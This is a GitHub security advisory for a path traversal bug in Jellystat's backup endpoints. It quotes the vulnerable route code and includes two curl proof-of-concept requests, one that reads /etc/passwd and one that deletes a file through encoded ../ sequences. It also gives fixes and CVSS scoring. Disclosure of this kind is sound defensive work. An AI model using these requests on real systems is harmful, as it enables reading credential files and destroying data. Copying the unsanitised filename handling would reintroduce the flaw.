Skip to content

Path Traversal: Missing Input validation for filename in backups endpoint

High
CyferShepard published GHSA-6x46-6w9f-ffv6 Feb 1, 2025

Package

No package listed

Affected versions

<1.1.2

Patched versions

None

Description

Hi Team,

While auditing the code. I noticed we are directly using a user input in the route(s) (below) this can lead to Path Traversal Vulnerabilities. You can read about Path Traversal on OWASP's page. CWE

router.get("/files/:filename", (req, res) => {
const filePath = path.join(__dirname, "..", backupfolder, req.params.filename);
res.download(filePath);
});

Same thing is true for here, we should sanitize this param values here as well. (restrict it within the same directory, although with this endpoint the only issue is I can read any .json file and feed it to the backup function)

router.get("/restore/:filename", async (req, res) => {
try {
const uuid = randomUUID();
let refLog = { logData: [], uuid: uuid };
Logging.insertLog(uuid, triggertype.Manual, taskName.restore);
const filePath = path.join(__dirname, "..", backupfolder, req.params.filename);

Since this functionality is only for admin(s), there is very little scope for abuse. However, the DELETE files/:filename can be used to delete any file. This makes it a High severity issue.

router.delete("/files/:filename", (req, res) => {
try {
const filePath = path.join(__dirname, "..", backupfolder, req.params.filename);

POC

Make sure you have admin access first.
For the backup/files/:filename. It is possible to read any file on the system.

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3000' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Authorization: <TOKEN>' -H $'Connection: keep-alive' -H $'Referer: http://localhost:3000/settings' -H $'Priority: u=0' \
    $'http://localhost:3000/backup/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
image

For the DELETE method backup/files/:filename. It is possible to delete any file on the system. (In this POC I am deleting a file in the /tmp/tmp-delete.txt)

curl --path-as-is -i -s -k -X $'DELETE' \
    -H $'Host: localhost:3000' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Authorization: <Token>' -H $'Connection: keep-alive' -H $'Referer: http://localhost:3000/settings' -H $'Priority: u=0' \
    $'http://localhost:3000/backup/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2ftmp-delete.txt'
image

Suggested Fixes

Since we have a DB based on the guidelines provided by CISA here, we should allow

  1. Only alphanumeric values or in this case backup format files. OR
  2. Save the filenames in the DB, and match if those values exist or not before making a fetch.

You can read more about the fixes I used in the other repositories which had a similar issue here: https://realarcherl.github.io/posts/research_1/ (this is ongoing research). Based on the approach you want to take, I can push a PR as well.

Note: Its best to sanitize all the user inputs. I suggest running a SAST tool like Semgrep or Snyk to locate all the other issues or I can help with it as well :)

Edit: Pushed a PR based on out discussion Jellystat-ghsa-6x46-6w9f-ffv6/pull/1

Impact

Read arbitrary file on the system.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-24960

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits